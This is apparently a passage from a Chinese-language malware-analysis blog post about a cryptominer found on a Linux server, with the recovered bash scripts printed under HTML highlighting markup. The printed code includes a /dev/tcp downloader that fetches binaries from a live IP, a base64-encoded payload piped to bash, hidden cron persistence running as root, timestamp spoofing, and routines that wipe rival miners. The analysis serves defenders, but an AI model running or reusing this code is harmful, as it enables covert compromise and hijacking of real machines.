<\/span><span class=\"k\">}<\/span><span class=\"si\">)<\/span>\n  <span class=\"nv\">DOC<\/span><span class=\"o\">=<\/span>\/<span class=\"k\">${<\/span><span class=\"nv\">path<\/span><span class=\"p\">\/\/ \/\/<\/span><span class=\"k\">}<\/span>\n  <span class=\"nv\">HOST<\/span><span class=\"o\">=<\/span><span class=\"k\">${<\/span><span class=\"nv\">server<\/span><span class=\"p\">\/\/<\/span>:<span class=\"p\">*<\/span><span class=\"k\">}<\/span>\n  <span class=\"nv\">PORT<\/span><span class=\"o\">=<\/span><span class=\"k\">${<\/span><span class=\"nv\">server<\/span><span class=\"p\">\/\/*<\/span>:<span class=\"k\">}<\/span>\n  <span class=\"o\">[[<\/span> x<span class=\"s2\">\"<\/span><span class=\"k\">${<\/span><span class=\"nv\">HOST<\/span><span class=\"k\">}<\/span><span class=\"s2\">\"<\/span> <span class=\"o\">==<\/span> x<span class=\"s2\">\"<\/span><span class=\"k\">${<\/span><span class=\"nv\">PORT<\/span><span class=\"k\">}<\/span><span class=\"s2\">\"<\/span> <span class=\"o\">]]<\/span> <span class=\"o\">&amp;&amp;<\/span> <span class=\"nv\">PORT<\/span><span class=\"o\">=<\/span>80\n\n  <span class=\"nb\">exec <\/span>3&lt;<span class=\"o\">&gt;<\/span>\/dev\/tcp\/<span class=\"k\">${<\/span><span class=\"nv\">HOST<\/span><span class=\"k\">}<\/span>\/<span class=\"nv\">$PORT<\/span>\n  <span class=\"nb\">echo<\/span> <span class=\"nt\">-en<\/span> <span class=\"s2\">\"GET <\/span><span class=\"k\">${<\/span><span class=\"nv\">DOC<\/span><span class=\"k\">}<\/span><span class=\"s2\"> HTTP\/1.0<\/span><span class=\"se\">\\r\\n<\/span><span class=\"s2\">Host: <\/span><span class=\"k\">${<\/span><span class=\"nv\">HOST<\/span><span class=\"k\">}<\/span><span class=\"se\">\\r\\n\\r\\n<\/span><span class=\"s2\">\"<\/span> <span class=\"o\">&gt;<\/span>&amp;3\n  <span class=\"o\">(<\/span><span class=\"k\">while <\/span><span class=\"nb\">read <\/span>line<span class=\"p\">;<\/span> <span class=\"k\">do<\/span>\n   <span class=\"o\">[[<\/span> <span class=\"s2\">\"<\/span><span class=\"nv\">$line<\/span><span class=\"s2\">\"<\/span> <span class=\"o\">==<\/span> <span class=\"s1\">$'<\/span><span class=\"se\">\\r<\/span><span class=\"s1\">'<\/span> <span class=\"o\">]]<\/span> <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">break\n  <\/span><span class=\"k\">done<\/span> <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">cat<\/span><span class=\"o\">)<\/span> &lt;&amp;3\n  <span class=\"nb\">exec <\/span>3&gt;&amp;-\n<span class=\"o\">}<\/span>\n\n<span class=\"nb\">rm<\/span> <span class=\"nt\">-f<\/span> <span class=\"nv\">$HOME<\/span>\/ss\ncurl <span class=\"nt\">-V<\/span> <span class=\"o\">||<\/span> wget <span class=\"nt\">-q<\/span> https:\/\/github.com\/moparisthebest\/static-curl\/releases\/download\/v7.75.0\/curl-amd64 <span class=\"nt\">-O<\/span> <span class=\"nv\">$HOME<\/span>\/curl<span class=\"p\">;<\/span><span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$HOME<\/span>\/curl\ncurl <span class=\"nt\">-V<\/span> <span class=\"o\">||<\/span> kurl http:\/\/139.59.150.7:443\/curl <span class=\"o\">&gt;<\/span> <span class=\"nv\">$HOME<\/span>\/curl<span class=\"p\">;<\/span><span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$HOME<\/span>\/curl\nss <span class=\"nt\">-v<\/span>   <span class=\"o\">||<\/span> kurl http:\/\/139.59.150.7:443\/ss   <span class=\"o\">&gt;<\/span> <span class=\"nv\">$HOME<\/span>\/ss<span class=\"p\">;<\/span><span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$HOME<\/span>\/ss\nss <span class=\"nt\">-v<\/span>   <span class=\"o\">||<\/span> curl <span class=\"nt\">-s<\/span> http:\/\/139.59.150.7:443\/ss <span class=\"nt\">-o<\/span> <span class=\"nv\">$HOME<\/span>\/ss<span class=\"p\">;<\/span><span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$HOME<\/span>\/ss\nps      <span class=\"o\">||<\/span> curl <span class=\"nt\">-s<\/span> http:\/\/139.59.150.7:443\/ps <span class=\"nt\">-o<\/span> <span class=\"nv\">$HOME<\/span>\/ps<span class=\"p\">;<\/span><span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$HOME<\/span>\/ps\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u8fd9\u4e2a <code class=\"language-plaintext highlighter-rouge\">kurl<\/code>\uff0c\u8bd5\u56fe\u5728\u6ca1\u6709 curl\uff0c\u6ca1\u6709 wget \u7684\u60c5\u51b5\u4e0b\uff0c\u4f9d\u8d56 bash \u5185\u7f6e\u529f\u80fd\uff0c\u4e0b\u8f7d curl\u3002\u770b\u8d77\u6765\u8fd9\u4e2a\u653b\u51fb\u8005\u662f\u60f3\u8981\u5728\u7c7b\u4f3c\u4e8e docker \u5185\u90e8\u8fd9\u6837\u7684\u5200\u8015\u706b\u79cd\u7684\u539f\u59cb\u73af\u5883\u91cc\u9762\u5b9e\u73b0\u6316\u77ff\u7684\u529f\u80fd\u3002<\/p>\n\n<p>\u6211\u63a8\u6d4b\u653b\u51fb\u8005\u4f1a\u4e00\u4e9b\u8ba1\u7b97\u673a\u7f16\u7a0b\uff0c\u4f46\u662f\u529f\u5e95\u80af\u5b9a\u4e0d\u4f1a\u8fd9\u4e48\u6df1\u539a\uff0c\u8fd9\u6bb5\u4ee3\u7801\u5f88\u53ef\u80fd\u4e0d\u662f\u653b\u51fb\u8005\u81ea\u5df1\u5199\u7684\u3002\u8981\u662f\u4ed6\u6709\u624b\u5199\u8fd9\u4e2a\u4ee3\u7801\u7684\u6c34\u5e73\uff0c\u90a3\u80af\u5b9a\u4e0d\u4f1a\u641e\u6316\u77ff\u8fd9\u4e2a\u884c\u5f53\u4e86\u3002\u5e26\u7740\u8fd9\u4e2a\u7591\u95ee\uff0c\u641c\u7d22\u4e86\u4e00\u5708\uff0c\u627e\u5230\u4e86\u4ee3\u7801\u7684<a href=\"https:\/\/unix.stackexchange.com\/a\/421318\">\u51fa\u5904<\/a><\/p>\n\n<p>\u5206\u6790\u8fc7\u6765\u5206\u6790\u8fc7\u53bb\uff0c\u6ca1\u770b\u5230\u5176\u4ed6\u6709\u7528\u7684\u4fe1\u606f\u4e86\uff0c\u6839\u636e\u52aa\u529b\u4e0d\u4e00\u5b9a\u80fd\u6210\u529f\uff0c\u653e\u5f03\u4e00\u5b9a\u5f88\u8f7b\u677e\u7684\u6307\u5bfc\u65b9\u9488\uff0ctracepath \u8fd9\u4e2a\u6587\u4ef6\u7684\u5206\u6790\u6682\u65f6\u5230\u6b64\u4e3a\u6b62\u3002<\/p>\n\n<h2 id=\"eqnr3jnr\">EQnR3jNR<\/h2>\n\n<p>\u8fd9\u4e2a\u6587\u4ef6\u7684\u4e3b\u8981\u4f5c\u7528\u662f\u901a\u8fc7 crontab \u6dfb\u52a0\u6301\u4e45\u5316\uff0c \u901a\u8fc7\u591a\u79cd\u65b9\u5f0f\u6a2a\u5411\u79fb\u52a8\u7684\u529f\u80fd\u3002<\/p>\n\n<p>\u901a\u8fc7\u52a8\u6001\u8c03\u8bd5\u8be5\u6587\u4ef6\uff0c\u53ef\u4ee5\u770b\u5230\u6267\u884c\u4e86\u5982\u4e0b\u7684 bash \u547d\u4ee4\u3002<\/p>\n\n<div class=\"language-bash highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n<\/pre><\/td><td class=\"rouge-code\"><pre>nU9WagjQ8BenWPXt0ovE12uD8jBItv6\n<span class=\"nb\">exec<\/span> &amp;&gt;\/dev\/null\n<span class=\"nb\">export <\/span><span class=\"nv\">PATH<\/span><span class=\"o\">=<\/span><span class=\"nv\">$PATH<\/span>:<span class=\"nv\">$HOME<\/span>:\/bin:\/sbin:\/usr\/bin:\/usr\/sbin:\/usr\/local\/bin:\/usr\/local\/sbin\n\n<span class=\"nv\">d<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span><span class=\"nb\">grep <\/span>x:<span class=\"si\">$(<\/span><span class=\"nb\">id<\/span> <span class=\"nt\">-u<\/span><span class=\"si\">)<\/span>: \/etc\/passwd|cut <span class=\"nt\">-d<\/span>: <span class=\"nt\">-f6<\/span><span class=\"si\">)<\/span>\n\nx<span class=\"o\">()<\/span> <span class=\"o\">{<\/span>\n<span class=\"k\">if<\/span> <span class=\"o\">!<\/span> <span class=\"nb\">ls<\/span> <span class=\"nv\">$d<\/span>\/.systemd-private-<span class=\"k\">*<\/span>.sh<span class=\"p\">;<\/span> <span class=\"k\">then\n<\/span><span class=\"nb\">grep<\/span> <span class=\"s2\">\"nU9WagjQ8BenWPXt0ovE12uD8jBItv6\"<\/span> <span class=\"nv\">$d<\/span>\/.systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6.sh <span class=\"o\">||<\/span> <span class=\"nb\">echo<\/span> <span class=\"nt\">-e<\/span> <span class=\"s2\">\"#<\/span><span class=\"se\">\\x<\/span><span class=\"s2\">21\/bin\/bash<\/span><span class=\"se\">\\n<\/span><span class=\"s2\">exec &amp;&gt;\/dev\/null<\/span><span class=\"se\">\\n<\/span><span class=\"s2\">echo nU9WagjQ8BenWPXt0ovE12uD8jBItv6<\/span><span class=\"se\">\\n<\/span><span class=\"s2\">echo blU5V2FnalE4QmVuV1BYdDBvdkUxMnVEOGpCSXR2NgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI1aXhoaWVlem96eHdudmlzb3BneG9iYTZzc2JzcnZkcHhlZHV4YjRqYzZ6eDdzNTZydWZyanphZCIpCgpzb2NreigpIHsKbj0oZG9oLnRoaXMud2ViLmlkIGRvaC5wb3N0LWZhY3R1bS50ayBkbnMuaG9zdHV4Lm5ldCB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyByZXNvbHZlci1ldS5sZWx1eC5maSBkb2gubGkgZG5zLmRpZ2l0YWxlLWdlc2VsbHNjaGFmdC5jaCkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgkYyBodHRwczovLyR7blskKChSQU5ET00lMTEpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfGhlYWQgLW4gMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash\"<\/span> <span class=\"o\">&gt;<\/span> <span class=\"nv\">$d<\/span>\/.systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6.sh\n<span class=\"nb\">touch<\/span> <span class=\"nt\">-r<\/span> \/bin\/grep <span class=\"nv\">$d<\/span>\/.systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6.sh\n<span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$d<\/span>\/.systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6.sh\n<span class=\"k\">fi\nif<\/span> <span class=\"o\">!<\/span> <span class=\"nb\">ls<\/span> \/opt\/systemd-private-<span class=\"k\">*<\/span>.sh<span class=\"p\">;<\/span> <span class=\"k\">then\n<\/span><span class=\"nb\">grep<\/span> <span class=\"s2\">\"nU9WagjQ8BenWPXt0ovE12uD8jBItv6\"<\/span> \/opt\/systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6.sh <span class=\"o\">||<\/span> <span class=\"nb\">echo<\/span> <span class=\"nt\">-e<\/span> <span class=\"s2\">\"#<\/span><span class=\"se\">\\x<\/span><span class=\"s2\">21\/bin\/bash<\/span><span class=\"se\">\\n<\/span><span class=\"s2\">exec &amp;&gt;\/dev\/null<\/span><span class=\"se\">\\n<\/span><span class=\"s2\">echo nU9WagjQ8BenWPXt0ovE12uD8jBItv6<\/span><span class=\"se\">\\n<\/span><span class=\"s2\">echo blU5V2FnalE4QmVuV1BYdDBvdkUxMnVEOGpCSXR2NgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI1aXhoaWVlem96eHdudmlzb3BneG9iYTZzc2JzcnZkcHhlZHV4YjRqYzZ6eDdzNTZydWZyanphZCIpCgpzb2NreigpIHsKbj0oZG9oLnRoaXMud2ViLmlkIGRvaC5wb3N0LWZhY3R1bS50ayBkbnMuaG9zdHV4Lm5ldCB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyByZXNvbHZlci1ldS5sZWx1eC5maSBkb2gubGkgZG5zLmRpZ2l0YWxlLWdlc2VsbHNjaGFmdC5jaCkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgkYyBodHRwczovLyR7blskKChSQU5ET00lMTEpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfGhlYWQgLW4gMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash\"<\/span> <span class=\"o\">&gt;<\/span> \/opt\/systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6.sh\n<span class=\"nb\">touch<\/span> <span class=\"nt\">-r<\/span> \/bin\/grep \/opt\/systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6.sh\n<span class=\"nb\">chmod<\/span> +x \/opt\/systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6.sh\n<span class=\"k\">fi\nif<\/span> <span class=\"o\">!<\/span> <span class=\"nb\">ls<\/span> \/etc\/cron.d\/0systemd-private-<span class=\"k\">*<\/span><span class=\"p\">;<\/span> <span class=\"k\">then\n<\/span><span class=\"nb\">grep <\/span>nU9WagjQ8BenWPXt0ovE12uD8jBItv6 \/etc\/cron.d\/0systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6 <span class=\"o\">||<\/span> <span class=\"nb\">echo<\/span> <span class=\"s2\">\"<\/span><span class=\"si\">$(<\/span><span class=\"nb\">echo<\/span> <span class=\"k\">$((<\/span>RANDOM%59<span class=\"k\">))<\/span><span class=\"si\">)<\/span><span class=\"s2\"> * * * * root \/opt\/systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6.sh &gt; \/dev\/null 2&gt;&amp;1 &amp;\"<\/span> <span class=\"o\">&gt;<\/span> \/etc\/cron.d\/0systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6\n<span class=\"nb\">touch<\/span> <span class=\"nt\">-r<\/span> \/bin\/grep \/etc\/cron.d\/0systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6\n<span class=\"k\">fi\nif<\/span> <span class=\"o\">!<\/span> crontab <span class=\"nt\">-l<\/span> | <span class=\"nb\">grep<\/span> ^[0-9] | <span class=\"nb\">grep <\/span>systemd-private<span class=\"p\">;<\/span> <span class=\"k\">then<\/span>\n<span class=\"o\">(<\/span><span class=\"nb\">echo<\/span> <span class=\"s2\">\"<\/span><span class=\"si\">$(<\/span><span class=\"nb\">echo<\/span> <span class=\"k\">$((<\/span>RANDOM%59<span class=\"k\">))<\/span><span class=\"si\">)<\/span><span class=\"s2\"> * * * * <\/span><span class=\"nv\">$d<\/span><span class=\"s2\">\/.systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6.sh &gt; \/dev\/null 2&gt;&amp;1 &amp;\"<\/span><span class=\"p\">;<\/span>crontab <span class=\"nt\">-l<\/span>|grep <span class=\"nt\">-v<\/span> systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6.sh<span class=\"o\">)<\/span>|crontab -\n<span class=\"k\">fi<\/span>\n<span class=\"o\">}<\/span>\nx\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u89e3 base64 \u4e4b\u540e\u53ef\u4ee5\u53d1\u73b0\u529f\u80fd\u662f\u68c0\u67e5 <code class=\"language-plaintext highlighter-rouge\">$HOME\/.systemd-private-*.sh<\/code> \u662f\u5426\u5b58\u5728\uff0c\u5982\u679c\u4e0d\u5b58\u5728\uff0c\u90a3\u4e48\u628a\u524d\u9762\u5206\u6790\u8fc7\u7684\u6076\u610f\u811a\u672c\u7684\u5185\u5bb9\u52a0\u8fdb\u53bb\u3002\u8fd0\u6c14\u6bd4\u8f83\u597d\uff0c\u521a\u5f00\u59cb\u5728\u673a\u5668\u4e0a\u624b\u6495\u75c5\u6bd2\u7684\u65f6\u5019\uff0c\u8fd9\u51e0\u4e2a\u81ea\u542f\u52a8\u6076\u610f\u7a0b\u5e8f\u90fd\u5220\u6389\u4e86\u3002<\/p>\n\n<p>\u4ee3\u7801\u91cc\u9762\u5305\u542b\u5927\u91cf\u7684 bash64\u7f16\u7801\u7684\u5185\u5bb9\u3002\u9006\u5411\u5206\u6790\u7684\u4e3b\u8981\u5de5\u4f5c\u662f\u52a8\u6001\u8c03\u8bd5\u7136\u540e\u89e3 base64\u548c\u89e3\u51b3 00 \u622a\u65ad\u5bfc\u81f4\u7684\u9519\u8bef\u7136\u540e\u7ee7\u7eed\u89e3base64 :)<\/p>\n\n<div class=\"language-bash highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n<\/pre><\/td><td class=\"rouge-code\"><pre>nU9WagjQ8BenWPXt0ovE12uD8jBItv6\n<span class=\"nb\">exec<\/span> &amp;&gt;\/dev\/null\n<span class=\"nb\">export <\/span><span class=\"nv\">PATH<\/span><span class=\"o\">=<\/span><span class=\"nv\">$PATH<\/span>:<span class=\"nv\">$HOME<\/span>:\/bin:\/sbin:\/usr\/bin:\/usr\/sbin:\/usr\/local\/bin:\/usr\/local\/sbin\nfind \/etc\/cron<span class=\"k\">*<\/span>|xargs chattr <span class=\"nt\">-i<\/span><span class=\"p\">;<\/span>find \/var\/spool\/cron<span class=\"k\">*<\/span>|xargs chattr <span class=\"nt\">-i<\/span><span class=\"p\">;<\/span>chattr <span class=\"nt\">-i<\/span> \/etc\/hosts\ncrontab <span class=\"nt\">-l<\/span> <span class=\"p\">;<\/span><span class=\"nb\">grep<\/span> <span class=\"nt\">-iRE<\/span> <span class=\"s2\">\"Evie0EAJrdlD6N9|tEYYDFeOnouIdvpQ|vPUjpEzwu4WUekG|systemd-service|data\/pg_|main\/pg_|pg_logical|cache\/auto|ctlib|70OXQG|Malware|Miner|VUses5|<\/span><span class=\"se\">\\-<\/span><span class=\"s2\">unix|<\/span><span class=\"se\">\\.\\\/<\/span><span class=\"s2\">oka|<\/span><span class=\"se\">\\.<\/span><span class=\"s2\">configrc|<\/span><span class=\"se\">\\.<\/span><span class=\"s2\">rsync|<\/span><span class=\"se\">\\\/<\/span><span class=\"s2\">upd|aliyun|basht|bffbe|curl|jqu<\/span><span class=\"se\">\\.<\/span><span class=\"s2\">js|jqu2|kill_virus|virus|kpccv|malware|mazec|nullc|qcloud|rvlss|ryukd|system-python3.8-Updates|systemd-init|th2ps|titanagent|tmp00|ucxin|unixdb|unixoa|wget|wlvly|xzfix|pg_stat|pty3|zsvc|pdefenderd|smcard2|wakuang|delmining|base64\"<\/span> \/etc\/cron.<span class=\"k\">*<\/span>|cut <span class=\"nt\">-f<\/span> 1 <span class=\"nt\">-d<\/span> :|xargs <span class=\"nb\">rm<\/span> <span class=\"nt\">-f<\/span>\ncrontab <span class=\"nt\">-l<\/span> |grep <span class=\"nt\">-ivE<\/span> <span class=\"s2\">\"Evie0EAJrdlD6N9|tEYYDFeOnouIdvpQ|vPUjpEzwu4WUekG|systemd-service|data\/pg_|main\/pg_|pg_logical|cache\/auto|ctlib|70OXQG|Malware|Miner|VUses5|<\/span><span class=\"se\">\\-<\/span><span class=\"s2\">unix|<\/span><span class=\"se\">\\.\\\/<\/span><span class=\"s2\">oka|<\/span><span class=\"se\">\\.<\/span><span class=\"s2\">configrc|<\/span><span class=\"se\">\\.<\/span><span class=\"s2\">rsync|<\/span><span class=\"se\">\\\/<\/span><span class=\"s2\">upd|aliyun|basht|bffbe|curl|jqu<\/span><span class=\"se\">\\.<\/span><span class=\"s2\">js|jqu2|kill_virus|virus|kpccv|malware|mazec|nullc|qcloud|rvlss|ryukd|system-python3.8-Updates|systemd-init|th2ps|titanagent|tmp00|ucxin|unixdb|unixoa|wget|wlvly|xzfix|pg_stat|pty3|zsvc|pdefenderd|smcard2|wakuang|delmining|base64\"<\/span> |crontab -\ncrontab <span class=\"nt\">-l<\/span> |grep <span class=\"nt\">-v<\/span> <span class=\"s2\">\"[*] [*] [*] [*] [*] \/var\/lib\/pgsql\"<\/span>|crontab -\ncrontab <span class=\"nt\">-l<\/span> |grep <span class=\"nt\">-v<\/span> <span class=\"s2\">\"[*] [*] [*] [*] [*] \/var\/lib\/postgresql\"<\/span>|crontab -\ncrontab <span class=\"nt\">-l<\/span> |grep <span class=\"nt\">-v<\/span> <span class=\"s2\">\"[*] [*] [*] [*] [*] \/var\/log\/postgresql\"<\/span>|crontab -\ncrontab <span class=\"nt\">-l<\/span> |grep <span class=\"nt\">-v<\/span> <span class=\"s2\">\"[*] [*] [*] [*] [*] \/etc\/postgresql\/\"<\/span>|crontab -\n<span class=\"nb\">grep<\/span> <span class=\"nt\">-q<\/span> onion \/etc\/hosts <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">sed<\/span> <span class=\"nt\">-i<\/span> <span class=\"s1\">'\/onion\/d'<\/span> \/etc\/hosts\n<span class=\"nb\">grep<\/span> <span class=\"nt\">-q<\/span> tor2w \/etc\/hosts <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">sed<\/span> <span class=\"nt\">-i<\/span> <span class=\"s1\">'\/tor2w\/d'<\/span> \/etc\/hosts\nnetstat <span class=\"nt\">-antp<\/span>|grep <span class=\"nt\">-E<\/span> <span class=\"s2\">\"82.114.253.13|14.17.70.144|3.125.10.23|103.53.210.34|45.64.130.147|34.252.195.254|103.3.62.64|104.140.201.42|104.140.244.186|107.178.104.10|107.191.99.221|107.191.99.95|116.203.73.240|131.153.56.98|131.153.76.130|136.243.102.154|138.201.20.89|138.201.27.243|138.201.36.249|139.162.132.70|139.162.60.220|139.162.81.90|139.99.101.197|139.99.101.198|139.99.101.232|139.99.102.70|139.99.102.71|139.99.102.72|139.99.102.73|139.99.102.74|139.99.120.50|139.99.120.75|139.99.123.196|139.99.124.170|139.99.125.38|139.99.156.30|139.99.68.128|142.44.242.100|142.44.243.6|144.217.14.109|144.217.14.139|147.135.37.31|149.202.42.174|149.202.83.171|15.236.100.141|151.80.144.188|158.69.25.62|158.69.25.71|158.69.25.77|163.172.203.178|163.172.206.67|163.172.207.69|163.172.226.114|163.172.226.137|172.104.143.224|172.104.151.232|172.104.159.158|172.104.165.191|172.104.247.21|172.104.76.21|172.105.205.58|172.105.205.68|172.105.210.117|172.105.211.250|172.105.235.97|178.63.100.197|18.180.72.219|18.210.126.40|192.110.160.114|192.99.69.170|195.154.62.247|195.201.12.107|199.231.85.124|207.246.100.198|213.32.29.143|213.32.74.157|217.182.169.148|23.88.160.140|3.0.193.200|37.187.95.110|37.59.43.131|37.59.44.193|37.59.44.93|37.59.54.205|37.59.55.60|37.9.3.26|45.32.71.82|45.76.65.223|45.79.192.137|45.79.200.97|45.79.204.241|45.79.210.48|46.4.120.18|47.101.30.124|5.196.13.29|5.196.23.240|51.15.54.102|51.15.55.100|51.15.55.162|51.15.58.224|51.15.65.182|51.15.67.17|51.15.69.136|51.15.78.68|51.255.34.118|51.255.34.79|51.255.34.80|51.81.245.40|54.188.223.206|54.37.7.208|66.42.105.146|78.46.49.222|78.46.87.181|81.25.55.79|81.91.189.245|88.99.142.163|88.99.193.240|88.99.242.92|91.121.140.167|94.130.12.27|94.130.12.30|94.130.143.162|94.130.165.85|94.130.165.87|94.130.239.15|94.23.23.52|94.23.247.226|95.216.209.67|205.185.118.204|63.250.33.43|185.199.11|139.99.121.227|199.192.30.2|185.156.179.225|45.129.2.107|194.87.102.77|172.83.155.151|185.165.171.78|70.39.125.244|205.185.118.204|54.37.7.208|209.141.38.71|150.107.76.231|107.167.7.226|194.40.243.61|195.3.146.118|20.53.100.173|20.62.240.187|94.130.164.163|45.9.148.